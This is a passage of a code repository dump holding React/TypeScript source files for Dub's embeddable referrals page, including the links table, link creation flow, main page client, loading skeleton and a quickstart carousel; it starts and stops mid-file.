<AnimatedEmptyState\n        title=\"No partners found\"\n        description=\"No partners have been added to this program yet.\"\n        cardContent={() => (\n          <>\n            <Users className=\"text-content-default size-4\" />\n            <div className=\"bg-bg-emphasis h-2.5 w-24 min-w-0 rounded-sm\" />\n          </>\n        )}\n        className=\"border-none md:min-h-fit\"\n      />\n    ),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (plural) => `partner${plural ? \"s\" : \"\"}`,\n  });\n\n  return (\n    <motion.div\n      className=\"border-border-subtle relative rounded-md border\"\n      {...TAB_ITEM_ANIMATION_SETTINGS}\n    >\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"border-none max-h-[26rem] overflow-auto\"\n      />\n      <div className=\"from-bg-default pointer-events-none absolute -bottom-px left-0 h-16 w-full rounded-b-lg bg-gradient-to-t sm:bottom-0\" />\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/links-list.tsx",
    "content": "import { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { PartnerGroupProps } from \"@/lib/types\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Program } from \"@dub/prisma/client\";\nimport {\n  Button,\n  CopyButton,\n  TAB_ITEM_ANIMATION_SETTINGS,\n  Table,\n  Users,\n  useTable,\n} from \"@dub/ui\";\nimport { ArrowTurnRight2, Pen2, Plus2 } from \"@dub/ui/icons\";\nimport {\n  currencyFormatter,\n  fetcher,\n  getApexDomain,\n  getPrettyUrl,\n  nFormatter,\n} from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { useEffect, useState } from \"react\";\nimport useSWR from \"swr\";\nimport { useEmbedToken } from \"../use-embed-token\";\nimport { ReferralsEmbedLink } from \"./types\";\n\ninterface Props {\n  program: Pick<Program, \"name\">;\n  links: ReferralsEmbedLink[];\n  group: Pick<\n    PartnerGroupProps,\n    \"id\" | \"additionalLinks\" | \"maxPartnerLinks\" | \"linkStructure\"\n  >;\n  onCreateLink: () => void;\n  onEditLink: (link: ReferralsEmbedLink) => void;\n}\n\nexport function ReferralsEmbedLinksList({\n  program,\n  links,\n  group,\n  onCreateLink,\n  onEditLink,\n}: Props) {\n  const token = useEmbedToken();\n  const [partnerLinks, setPartnerLinks] = useState<ReferralsEmbedLink[]>(links);\n\n  const { data: refreshedLinks, isLoading } = useSWR<ReferralsEmbedLink[]>(\n    \"/api/embed/referrals/links\",\n    (url) =>\n      fetcher(url, {\n        headers: {\n          Authorization: `Bearer ${token}`,\n        },\n      }),\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  useEffect(() => {\n    if (refreshedLinks) {\n      setPartnerLinks(refreshedLinks);\n    }\n  }, [refreshedLinks]);\n\n  const hasLinksLimitReached = partnerLinks.length >= group.maxPartnerLinks;\n  const hasAdditionalLinks = group.additionalLinks?.length > 0;\n  const canCreateNewLink = !hasLinksLimitReached && hasAdditionalLinks;\n\n  const { table, ...tableProps } = useTable({\n    data: partnerLinks,\n    columns: [\n      {\n        id: \"link\",\n        header: \"Link\",\n        minSize: 200,\n        cell: ({ row }) => {\n          const partnerLink = constructPartnerLink({\n            group,\n            link: row.original,\n          });\n\n          const destinationUrl = row.original.url;\n\n          return (\n            <div className=\"flex min-w-0 items-center gap-2\">\n              <div className=\"border-border-subtle has-[:hover]:bg-bg-muted rounded-md border bg-white transition-colors dark:bg-black\">\n                <CopyButton\n                  value={partnerLink}\n                  variant=\"neutral\"\n                  className=\"flex h-7 w-7 shrink-0 items-center justify-center rounded-md p-0 hover:bg-transparent active:bg-transparent\"\n                />\n              </div>\n\n              <div className=\"flex min-w-0 flex-col\">\n                <span\n                  className=\"text-content-emphasis min-w-0 truncate text-xs font-medium\"\n                  title={partnerLink}\n                >\n                  {getPrettyUrl(partnerLink)}\n                </span>\n                <div className=\"flex min-w-0 max-w-[300px] items-center gap-1\">\n                  <ArrowTurnRight2 className=\"text-content-muted size-3 shrink-0\" />\n                  <a\n                    className=\"text-content-subtle min-w-0 cursor-alias truncate text-xs font-normal decoration-dotted underline-offset-2 hover:underline\"\n                    href={destinationUrl}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                  >\n                    {destinationUrl ? getApexDomain(destinationUrl) : \"\"}\n                  </a>\n                </div>\n              </div>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"clicks\",\n        header: \"Clicks\",\n        minSize: 80,\n        maxSize: 100,\n        cell: ({ row }) => nFormatter(row.original.clicks),\n      },\n      {\n        id: \"leads\",\n        header: \"Leads\",\n        minSize: 80,\n        maxSize: 100,\n        cell: ({ row }) => nFormatter(row.original.leads),\n      },\n      {\n        id: \"sales\",\n        header: \"Sales\",\n        minSize: 80,\n        maxSize: 100,\n        cell: ({ row }) => currencyFormatter(row.original.saleAmount),\n      },\n      {\n        id: \"actions\",\n        header: () => (\n          <Button\n            variant=\"primary\"\n            className=\"h-7 w-7 p-1.5\"\n            icon={<Plus2 className=\"size-4\" />}\n            onClick={onCreateLink}\n            disabled={!canCreateNewLink}\n            disabledTooltip={\n              hasLinksLimitReached\n                ? `You have reached the limit of ${group.maxPartnerLinks} referral links.`\n                : !hasAdditionalLinks\n                  ? `${program.name} program does not allow partners to create new links.`\n                  : undefined\n            }\n          />\n        ),\n        minSize: 60,\n        maxSize: 80,\n        cell: ({ row }) => {\n          return (\n            <Button\n              variant=\"secondary\"\n              className=\"h-7 w-7 p-1.5\"\n              icon={<Pen2 className=\"size-4\" />}\n              onClick={() => onEditLink(row.original)}\n            />\n          );\n        },\n      },\n    ],\n    defaultColumn: {\n      minSize: 60,\n    },\n    emptyState: (\n      <AnimatedEmptyState\n        title=\"No links found\"\n        description=\"You don't have any referral links yet. Create a link to start earning commissions.\"\n        cardContent={() => (\n          <>\n            <Users className=\"text-content-default size-4\" />\n            <div className=\"bg-bg-emphasis h-2.5 w-40 rounded-sm\" />\n          </>\n        )}\n        className=\"max-w-xs border-none md:min-h-fit\"\n        addButton={\n          <Button\n            text=\"Create link\"\n            variant=\"primary\"\n            onClick={onCreateLink}\n            className=\"bg-bg-inverted h-9 rounded-md hover:bg-neutral-800\"\n          />\n        }\n      />\n    ),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (plural) => `link${plural ? \"s\" : \"\"}`,\n    loading: isLoading,\n  });\n\n  return (\n    <motion.div\n      className=\"border-border-subtle relative rounded-md border\"\n      {...TAB_ITEM_ANIMATION_SETTINGS}\n    >\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"border-none max-h-[26rem] overflow-auto\"\n      />\n      {links.length > 0 && (\n        <div className=\"from-bg-default pointer-events-none absolute -bottom-px left-0 h-16 w-full rounded-b-lg bg-gradient-to-t sm:bottom-0\" />\n      )}\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/links.tsx",
    "content": "import { PartnerGroupProps } from \"@/lib/types\";\nimport { Program } from \"@dub/prisma/client\";\nimport { useState } from \"react\";\nimport { ReferralsEmbedCreateUpdateLink } from \"./add-edit-link\";\nimport { ReferralsEmbedLinksList } from \"./links-list\";\nimport { ReferralsEmbedLink } from \"./types\";\n\ninterface Props {\n  links: ReferralsEmbedLink[];\n  program: Pick<Program, \"domain\" | \"url\" | \"name\">;\n  group: Pick<\n    PartnerGroupProps,\n    \"id\" | \"additionalLinks\" | \"maxPartnerLinks\" | \"linkStructure\"\n  >;\n}\n\nexport function ReferralsEmbedLinks({ links, program, group }: Props) {\n  const [createLink, setCreateLink] = useState(false);\n  const [link, setLink] = useState<ReferralsEmbedLink | null>(null);\n\n  return (\n    <div className=\"flex flex-col space-y-6\">\n      {createLink ? (\n        <ReferralsEmbedCreateUpdateLink\n          program={program}\n          link={link}\n          group={group}\n          onCancel={() => {\n            setCreateLink(false);\n            setLink(null);\n          }}\n        />\n      ) : (\n        <ReferralsEmbedLinksList\n          program={program}\n          links={links}\n          group={group}\n          onCreateLink={() => setCreateLink(true)}\n          onEditLink={(link) => {\n            setLink(link);\n            setCreateLink(true);\n          }}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/page-client.tsx",
    "content": "\"use client\";\n\nimport { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { QueryLinkStructureHelpText } from \"@/lib/partners/query-link-structure-help-text\";\nimport { DiscountProps, PartnerGroupProps, RewardProps } from \"@/lib/types\";\nimport { programEmbedSchema } from \"@/lib/zod/schemas/program-embed\";\nimport { programResourcesSchema } from \"@/lib/zod/schemas/program-resources\";\nimport { HeroBackground } from \"@/ui/partners/hero-background\";\nimport { ProgramRewardList } from \"@/ui/partners/program-reward-list\";\nimport { ProgramRewardTerms } from \"@/ui/partners/program-reward-terms\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Partner, Program } from \"@dub/prisma/client\";\nimport {\n  Button,\n  Check,\n  Combobox,\n  Copy,\n  Directions,\n  Popover,\n  TabSelect,\n  useCopyToClipboard,\n  useLocalStorage,\n  Wordmark,\n} from \"@dub/ui\";\nimport { ArrowTurnRight2 } from \"@dub/ui/icons\";\nimport { cn, getApexDomain, getPrettyUrl } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport { AnimatePresence } from \"motion/react\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { ReferralsEmbedActivity } from \"./activity\";\nimport { ReferralsEmbedEarnings } from \"./earnings\";\nimport { ReferralsEmbedEarningsSummary } from \"./earnings-summary\";\nimport { ReferralsEmbedFAQ } from \"./faq\";\nimport { ReferralsEmbedLeaderboard } from \"./leaderboard\";\nimport { ReferralsEmbedLinks } from \"./links\";\nimport { ReferralsEmbedQuickstart } from \"./quickstart\";\nimport { ReferralsEmbedResources } from \"./resources\";\nimport { ThemeOptions } from \"./theme-options\";\nimport { ReferralsReferralsEmbedToken } from \"./token\";\nimport { ReferralsEmbedLink } from \"./types\";\n\nexport function ReferralsEmbedPageClient({\n  program,\n  partner,\n  links,\n  rewards,\n  discount,\n  earnings,\n  stats,\n  group,\n  themeOptions,\n  dynamicHeight,\n}: {\n  program: Program;\n  partner: Pick<Partner, \"id\" | \"name\" | \"email\">;\n  links: ReferralsEmbedLink[];\n  rewards: RewardProps[];\n  discount?: DiscountProps | null;\n  earnings: {\n    upcoming: number;\n    paid: number;\n  };\n  stats: {\n    clicks: number;\n    leads: number;\n    sales: number;\n    saleAmount: number;\n  };\n  group: Pick<\n    PartnerGroupProps,\n    | \"id\"\n    | \"logo\"\n    | \"wordmark\"\n    | \"brandColor\"\n    | \"additionalLinks\"\n    | \"maxPartnerLinks\"\n    | \"linkStructure\"\n    | \"holdingPeriodDays\"\n  >;\n  themeOptions: ThemeOptions;\n  dynamicHeight: boolean;\n}) {\n  const resources = programResourcesSchema.parse(\n    program.resources ?? { logos: [], colors: [], files: [] },\n  );\n\n  const programEmbedData = programEmbedSchema.parse(program.embedData);\n\n  const hasResources =\n    resources &&\n    [\"logos\", \"colors\", \"files\"].some(\n      (resource) => resources?.[resource]?.length,\n    );\n\n  const [showQuickstart, setShowQuickstart] = useLocalStorage(\n    \"referral-embed-show-quickstart\",\n    true,\n  );\n\n  const tabs = useMemo(\n    () => [\n      ...(showQuickstart ? [\"Quickstart\"] : []),\n      \"Earnings\",\n      ...(group.additionalLinks.length > 0 ? [\"Links\"] : []),\n      ...(programEmbedData?.leaderboard?.mode === \"disabled\"\n        ? []\n        : [\"Leaderboard\"]),\n      \"FAQ\",\n      ...(hasResources ? [\"Resources\"] : []),\n    ],\n    [showQuickstart, group.additionalLinks, programEmbedData, hasResources],\n  );\n\n  const [selectedTab, setSelectedTab] = useState(tabs[0]);\n\n  useEffect(() => {\n    if (!tabs.includes(selectedTab)) setSelectedTab(tabs[0]);\n  }, [tabs, selectedTab]);\n\n  return (\n    <div\n      style={{ backgroundColor: themeOptions.backgroundColor || \"transparent\" }}\n      className={cn(\"flex flex-col\", !dynamicHeight && \"min-h-screen\")}\n    >\n      <div className=\"relative z-0 p-5\">\n        <div className=\"border-border-default relative flex flex-col overflow-hidden rounded-lg border p-4 md:p-6\">\n          <HeroBackground logo={group.logo} color={group.brandColor} embed />\n\n          <ReferralLinkDisplay\n            links={links}\n            group={group}\n            onSelectTab={setSelectedTab}\n          />\n\n          <div className=\"mt-12 sm:max-w-[50%]\">\n            <div className=\"flex items-end justify-between\">\n              <span className=\"text-content-emphasis text-base font-semibold leading-none\">\n                Rewards\n              </span>\n              {program.termsUrl && (\n                <a\n                  href={program.termsUrl}\n                  target=\"_blank\"\n                  className=\"text-content-subtle text-xs font-medium leading-none underline-offset-2 hover:underline\"\n                >\n                  View terms ↗\n                </a>\n              )}\n            </div>\n            <div className=\"text-content-emphasis relative mt-4 text-lg\">\n              <ProgramRewardList rewards={rewards} discount={discount} />\n              <ProgramRewardTerms\n                minPayoutAmount={program.minPayoutAmount}\n                holdingPeriodDays={group.holdingPeriodDays ?? 0}\n              />\n            </div>\n          </div>\n          {!programEmbedData?.hidePoweredByBadge && (\n            <div className=\"mt-4 flex justify-center md:absolute md:bottom-3 md:right-3 md:mt-0\">\n              <a\n                href=\"https://dub.co/partners\"\n                target=\"_blank\"\n                className=\"hover:text-content-default text-content-subtle bg-bg-default border-border-subtle flex w-fit items-center gap-1.5 rounded-md border px-2 py-1 transition-colors duration-75\"\n              >\n                <p className=\"whitespace-nowrap text-xs font-medium leading-none\">\n                  Powered by\n                </p>\n                <Wordmark className=\"text-content-emphasis h-3.5\" />\n              </a>\n            </div>\n          )}\n        </div>\n        <div className=\"mt-4 grid gap-2 sm:h-32 sm:grid-cols-3\">\n          <ReferralsEmbedActivity color={group.brandColor} {...stats} />\n          <ReferralsEmbedEarningsSummary\n            earnings={earnings}\n            programSlug={program.slug}\n            partnerEmail={partner.email}\n          />\n        </div>\n        <div className=\"mt-4\">\n          <div className=\"border-border-subtle flex items-center border-b\">\n            <TabSelect\n              options={tabs.map((tab) => ({\n                id: tab,\n                label: tab,\n              }))}\n              selected={selectedTab}\n              onSelect={(option) => {\n                setSelectedTab(option);\n              }}\n              className=\"scrollbar-hide min-w-0 grow overflow-x-auto\"\n            />\n\n            <div className=\"shrink\">\n              <Menu\n                showQuickstart={showQuickstart}\n                setShowQuickstart={(show) => {\n                  setShowQuickstart(show);\n                  if (show) setSelectedTab(\"Quickstart\");\n                }}\n              />\n            </div>\n          </div>\n          <div className=\"my-4\">\n            <AnimatePresence mode=\"wait\">\n              {selectedTab === \"Quickstart\" ? (\n                <ReferralsEmbedQuickstart\n                  program={program}\n                  group={group}\n                  links={links}\n                  earnings={earnings}\n                  hasResources={hasResources}\n                  setSelectedTab={setSelectedTab}\n                />\n              ) : selectedTab === \"Earnings\" ? (\n                <ReferralsEmbedEarnings salesCount={stats.sales} />\n              ) : selectedTab === \"Links\" ? (\n                <ReferralsEmbedLinks\n                  program={program}\n                  links={links}\n                  group={group}\n                />\n              ) : selectedTab === \"Leaderboard\" &&\n                programEmbedData?.leaderboard?.mode !== \"disabled\" ? (\n                <ReferralsEmbedLeaderboard />\n              ) : selectedTab === \"FAQ\" ? (\n                <ReferralsEmbedFAQ program={program} reward={rewards[0]} />\n              ) : selectedTab === \"Resources\" ? (\n                <ReferralsEmbedResources resources={resources} />\n              ) : null}\n            </AnimatePresence>\n          </div>\n        </div>\n        <ReferralsReferralsEmbedToken />\n      </div>\n    </div>\n  );\n}\n\nfunction ReferralLinkDisplay({\n  links,\n  group,\n  onSelectTab,\n}: {\n  links: ReferralsEmbedLink[];\n  group: Pick<\n    PartnerGroupProps,\n    | \"id\"\n    | \"logo\"\n    | \"wordmark\"\n    | \"brandColor\"\n    | \"additionalLinks\"\n    | \"maxPartnerLinks\"\n    | \"linkStructure\"\n    | \"holdingPeriodDays\"\n  >;\n  onSelectTab: (tab: string) => void;\n}) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  const [selectedLinkId, setSelectedLinkId] = useState<string | null>(\n    links[0]?.id ?? null,\n  );\n\n  const selectedLink = useMemo(\n    () => links.find((l) => l.id === selectedLinkId) ?? links[0],\n    [links, selectedLinkId],\n  );\n\n  const partnerLink = selectedLink\n    ? constructPartnerLink({ group, link: selectedLink })\n    : undefined;\n\n  const options = useMemo(\n    () =>\n      links.map((link) => ({\n        value: link.id,\n        label: getPrettyUrl(constructPartnerLink({ group, link })),\n        meta: {\n          destination: link.url ? getApexDomain(link.url) : null,\n        },\n      })),\n    [links, group],\n  );\n\n  const selectedOption =\n    selectedLink && partnerLink\n      ? {\n          value: selectedLink.id,\n          label: getPrettyUrl(partnerLink),\n          meta: {\n            destination: selectedLink.url\n              ? getApexDomain(selectedLink.url)\n              : null,\n          },\n        }\n      : null;\n\n  let actionButton: React.ReactNode = null;\n\n  if (partnerLink) {\n    actionButton = (\n      <Button\n        icon={\n          <div className=\"relative size-4\">\n            <div\n              className={cn(\n                \"absolute inset-0 transition-[transform,opacity]\",\n                copied && \"translate-y-1 opacity-0\",\n              )}\n            >\n              <Copy className=\"size-4\" />\n            </div>\n            <div\n              className={cn(\n                \"absolute inset-0 transition-[transform,opacity]\",\n                !copied && \"translate-y-1 opacity-0\",\n              )}\n            >\n              <Check className=\"size-4\" />\n            </div>\n          </div>\n        }\n        text={copied ? \"Copied link\" : \"Copy link\"}\n        className=\"xs:w-fit\"\n        onClick={() => copyToClipboard(partnerLink)}\n      />\n    );\n  } else if (links.length === 0) {\n    actionButton = (\n      <Button\n        text=\"Create a link\"\n        onClick={() => onSelectTab(\"Links\")}\n        className=\"xs:w-fit\"\n      />\n    );\n  }\n\n  return (\n    <>\n      <span className=\"text-content-emphasis text-base font-semibold\">\n        Referral link\n      </span>\n      <div className=\"xs:flex-row xs:items-center relative mt-3 flex flex-col gap-2 sm:max-w-[50%]\">\n        {links.length <= 1 ? (\n          <>\n            <input\n              type=\"text\"\n              readOnly\n              value={\n                partnerLink ? getPrettyUrl(partnerLink) : \"No referral link\"\n              }\n              className=\"border-border-default text-content-default focus:border-border-emphasis bg-bg-default h-10 min-w-0 shrink grow rounded-md border px-3 text-sm focus:outline-none focus:ring-neutral-500\"\n            />\n            {actionButton}\n          </>\n        ) : (\n          <>\n            <Combobox\n              selected={selectedOption}\n              setSelected={(option) => {\n                if (!option) return;\n\n                setSelectedLinkId(option.value);\n\n                const link = links.find((l) => l.id === option.value);\n\n                if (link) {\n                  copyToClipboard(constructPartnerLink({ group, link }));\n                }\n              }}\n              options={options}\n              forceDropdown\n              matchTriggerWidth\n              placeholder=\"No referral link\"\n              inputClassName=\"text-sm h-10\"\n              optionDescription={(option) => (\n                <span className=\"flex min-w-0 items-center gap-1\">\n                  <ArrowTurnRight2 className=\"text-content-muted size-3 shrink-0\" />\n                  <span className=\"text-content-subtle min-w-0 truncate text-xs\">\n                    {option.meta.destination}\n                  </span>\n                </span>\n              )}\n              popoverProps={{\n                contentClassName: \"rounded-lg border border-border-subtle p-1\",\n              }}\n              trigger={\n                <button\n                  type=\"button\"\n                  className=\"border-border-default text-content-default focus:border-border-emphasis bg-bg-default flex h-10 min-w-0 shrink grow items-center gap-2 rounded-md border px-3 text-left text-sm outline-none focus:ring-neutral-500\"\n                >\n                  <span className=\"min-w-0 shrink grow truncate\">\n                    {partnerLink\n                      ? getPrettyUrl(partnerLink)\n                      : \"No referral link\"}\n                  </span>\n                  <ChevronDown className=\"text-content-muted size-4 shrink-0\" />\n                </button>\n              }\n            />\n            {actionButton}\n          </>\n        )}\n      </div>\n\n      {partnerLink && group.linkStructure === \"query\" && (\n        <QueryLinkStructureHelpText link={selectedLink} />\n      )}\n    </>\n  );\n}\n\nfunction Menu({\n  showQuickstart,\n  setShowQuickstart,\n}: {\n  showQuickstart: boolean;\n  setShowQuickstart: (value: boolean) => void;\n}) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <Popover\n      content={\n        <div className=\"grid w-full grid-cols-1 gap-px p-2 sm:w-48\">\n          <Button\n            text={`${showQuickstart ? \"Hide\" : \"Show\"} starting guide`}\n            variant=\"outline\"\n            onClick={() => {\n              setOpenPopover(false);\n              setShowQuickstart(!showQuickstart);\n            }}\n            icon={<Directions className=\"size-4\" />}\n            className=\"h-9 justify-start px-2 font-medium\"\n          />\n        </div>\n      }\n      align=\"end\"\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <Button\n        variant=\"secondary\"\n        className={cn(\n          \"text-content-subtle h-8 px-1.5 outline-none transition-all duration-200\",\n          \"data-[state=open]:border-border-emphasis sm:group-hover/card:data-[state=closed]:border-border-subtle border-transparent\",\n        )}\n        icon={<ThreeDots className=\"size-4 shrink-0\" />}\n        onClick={() => {\n          setOpenPopover(!openPopover);\n        }}\n      />\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/page.tsx",
    "content": "import { HeroBackground } from \"@/ui/partners/hero-background\";\nimport { Button, Copy } from \"@dub/ui\";\nimport { Suspense } from \"react\";\nimport { DynamicHeightMessenger } from \"./dynamic-height-messenger\";\nimport { ReferralsEmbedPageClient } from \"./page-client\";\nimport { parseThemeOptions, ThemeOptions } from \"./theme-options\";\nimport { getReferralsEmbedData } from \"./utils\";\n\nexport default async function ReferralsEmbedPage(props: {\n  searchParams: Promise<{\n    token: string;\n    themeOptions?: string;\n    dynamicHeight?: string;\n  }>;\n}) {\n  const searchParams = await props.searchParams;\n  const {\n    token,\n    themeOptions: themeOptionsRaw,\n    dynamicHeight: dynamicHeightRaw,\n  } = searchParams;\n\n  const themeOptions = parseThemeOptions(themeOptionsRaw);\n  const dynamicHeight = !!dynamicHeightRaw && dynamicHeightRaw !== \"false\";\n\n  return (\n    <>\n      <Suspense fallback={<EmbedInlineLoading themeOptions={themeOptions} />}>\n        <ReferralsEmbedRSC\n          token={token}\n          themeOptions={themeOptions}\n          dynamicHeight={dynamicHeight}\n        />\n      </Suspense>\n      {dynamicHeight && <DynamicHeightMessenger />}\n    </>\n  );\n}\n\nasync function ReferralsEmbedRSC({\n  token,\n  themeOptions,\n  dynamicHeight,\n}: {\n  token: string;\n  themeOptions: ThemeOptions;\n  dynamicHeight: boolean;\n}) {\n  const embedData = await getReferralsEmbedData(token);\n\n  return (\n    <ReferralsEmbedPageClient\n      {...embedData}\n      themeOptions={themeOptions}\n      dynamicHeight={dynamicHeight}\n    />\n  );\n}\n\nfunction EmbedInlineLoading({ themeOptions }: { themeOptions: ThemeOptions }) {\n  return (\n    <div\n      style={{ backgroundColor: themeOptions.backgroundColor || \"transparent\" }}\n      className=\"flex min-h-screen flex-col\"\n    >\n      <div className=\"p-5\">\n        <div className=\"border-border-default relative flex flex-col overflow-hidden rounded-lg border p-4 md:p-6\">\n          <HeroBackground color=\"#737373\" />\n          <span className=\"text-base font-semibold text-neutral-800\">\n            Referral link\n          </span>\n          <div className=\"xs:flex-row relative mt-3 flex flex-col items-center gap-2\">\n            <div className=\"xs:w-72 border-border-default bg-bg-muted h-10 w-full rounded-md border\" />\n            <Button\n              icon={<Copy className=\"size-4\" />}\n              text=\"Copy link\"\n              className=\"xs:w-fit\"\n              disabled\n            />\n          </div>\n          <span className=\"mt-12 text-base font-semibold text-neutral-800\">\n            Rewards\n          </span>\n          <div className=\"bg-bg-default border-border-subtle mt-2 h-20 w-[28rem] rounded-md border\" />\n        </div>\n        <div className=\"mt-4 grid gap-2 sm:h-32 sm:grid-cols-3\">\n          <div className=\"border-border-subtle bg-bg-muted h-full w-full rounded-lg border sm:col-span-2\" />\n          <div className=\"border-border-subtle bg-bg-muted h-full w-full rounded-lg border\" />\n        </div>\n        <div className=\"mt-4\">\n          <div className=\"border-border-subtle bg-bg-muted h-10 w-full rounded-lg border\" />\n          <div className=\"border-border-muted my-4 h-80 w-full rounded-lg border p-2\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/quickstart.tsx",
    "content": "import { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { PartnerGroupProps } from \"@/lib/types\";\nimport { Program } from \"@dub/prisma/client\";\nimport {\n  Button,\n  Carousel,\n  CarouselContent,\n  CarouselItem,\n  CarouselNavBar,\n  Check,\n  Copy,\n  TAB_ITEM_ANIMATION_SETTINGS,\n  useCopyToClipboard,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn, DUB_LOGO } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { ReferralsEmbedLink } from \"./types\";\n\nconst BUTTON_CLASSNAME = \"h-9 rounded-lg bg-bg-inverted hover:bg-neutral-800\";\n\nexport function ReferralsEmbedQuickstart({\n  program,\n  group,\n  links,\n  earnings,\n  hasResources,\n  setSelectedTab,\n}: {\n  program: Program;\n  group: Pick<PartnerGroupProps, \"logo\" | \"linkStructure\">;\n  links: ReferralsEmbedLink[];\n  earnings: {\n    upcoming: number;\n    paid: number;\n  };\n  hasResources: boolean;\n  setSelectedTab: (tab: \"Links\" | \"Resources\") => void;\n}) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n  const { isMobile } = useMediaQuery();\n\n  const payoutsDisabled = earnings.upcoming === 0 && earnings.paid === 0;\n\n  const items = [\n    {\n      title: \"Share your link\",\n      description: `Sharing is caring! Recommend ${program.name} to all your friends, family, and social followers.`,\n      illustration: <ShareLink />,\n      cta: (\n        <Button\n          className={BUTTON_CLASSNAME}\n          onClick={() => {\n            if (links.length > 0) {\n              copyToClipboard(\n                constructPartnerLink({\n                  group,\n                  link: links[0],\n                }),\n              );\n            } else {\n              setSelectedTab(\"Links\");\n            }\n          }}\n          text={\n            links.length > 0\n              ? copied\n                ? \"Copied link\"\n                : \"Copy link\"\n              : \"Create a link\"\n          }\n          icon={\n            links.length > 0 ? (\n              <div className=\"relative size-4\">\n                <div\n                  className={cn(\n                    \"absolute inset-0 transition-[transform,opacity]\",\n                    copied && \"translate-y-1 opacity-0\",\n                  )}\n                >\n                  <Copy className=\"size-4\" />\n                </div>\n                <div\n                  className={cn(\n                    \"absolute inset-0 transition-[transform,opacity]\",\n                    !copied && \"translate-y-1 opacity-0\",\n                  )}\n                >\n                  <Check className=\"size-4\" />\n                </div>\n              </div>\n            ) : undefined\n          }\n        />\n      ),\n    },\n    {\n      title: \"Success kit\",\n      description:\n        \"Make sure you get setup for success with the official brand files and supportive content and documents.\",\n      illustration: <SuccessKit logo={group.logo ?? DUB_LOGO} />,\n      cta: (\n        <Button\n          className=\"h-9 rounded-lg\"\n          text={hasResources ? \"View resources\" : \"No resources\"}\n          disabled={!hasResources}\n          onClick={() => {\n            setSelectedTab(\"Resources\");\n          }}\n        />\n      ),\n    },\n    {\n      title: \"Receive earnings\",\n      description:\n        \"After your payouts are connected, you'll get paid out automatically for all your sales.\",\n      illustration: <ConnectPayouts logo={group.logo ?? DUB_LOGO} />,\n      cta: (\n        <Button\n          className={payoutsDisabled ? \"h-9 rounded-lg\" : BUTTON_CLASSNAME}\n          disabledTooltip={\n            payoutsDisabled\n              ? \"You will be able to withdraw your earnings once you have made at least one sale.\"\n              : undefined\n          }\n          onClick={() =>\n            window.open(\"https://partners.dub.co/payouts\", \"_blank\")\n          }\n          text=\"Connect payouts\"\n        />\n      ),\n    },\n  ];\n\n  return (\n    <motion.div\n      className=\"border-border-muted bg-bg-default rounded-lg border p-2\"\n      {...TAB_ITEM_ANIMATION_SETTINGS}\n    >\n      {isMobile ? (\n        <Carousel>\n          <CarouselContent>\n            {items.map((item) => (\n              <CarouselItem\n                key={item.title}\n                className=\"bg-bg-muted flex flex-col items-center justify-between gap-4 rounded-lg p-8 text-center\"\n              >\n                {item.illustration}\n                <h3 className=\"text-content-emphasis text-lg font-medium\">\n                  {item.title}\n                </h3>\n                <p className=\"text-content-subtle text-pretty text-sm\">\n                  {item.description}\n                </p>\n                {item.cta}\n              </CarouselItem>\n            ))}\n          </CarouselContent>\n          <CarouselNavBar variant=\"simple\" />\n        </Carousel>\n      ) : (\n        <div className=\"grid grid-cols-3 gap-4\">\n          {items.map((item) => (\n            <div\n              key={item.title}\n              className=\"bg-bg-muted flex flex-col items-center justify-between gap-4 rounded-lg p-8 text-center\"\n            >\n              {item.illustration}\n              <h3 className=\"text-content-emphasis text-lg font-medium\">\n                {item.title}\n              </h3>\n              <p className=\"text-content-subtle text-pretty text-sm\">\n                {item.description}\n              </p>\n              {item.cta}\n            </div>\n          ))}\n        </div>\n      )}\n    </motion.div>\n  );\n}\n\nconst BG_MUTED = \"rgb(var(--bg-muted))\";\nconst BG_DEFAULT = \"rgb(var(--bg-default))\";\nconst BORDER_SUBTLE = \"rgb(var(--border-subtle))\";\nconst CONTENT_SUBTLE = \"rgb(var(--content-subtle))\";\n\nconst ShareLink = () => {\n  return (\n    <svg\n      width=\"194\"\n      height=\"121\"\n      viewBox=\"0 0 194 121\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <rect x=\"33\" y=\"12\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_MUTED} />\n      <rect\n        x=\"33\"\n        y=\"12\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect x=\"65\" y=\"12\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_DEFAULT} />\n      <rect\n        x=\"65\"\n        y=\"12\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M76.0223 34.4001H85.9779C86.7634 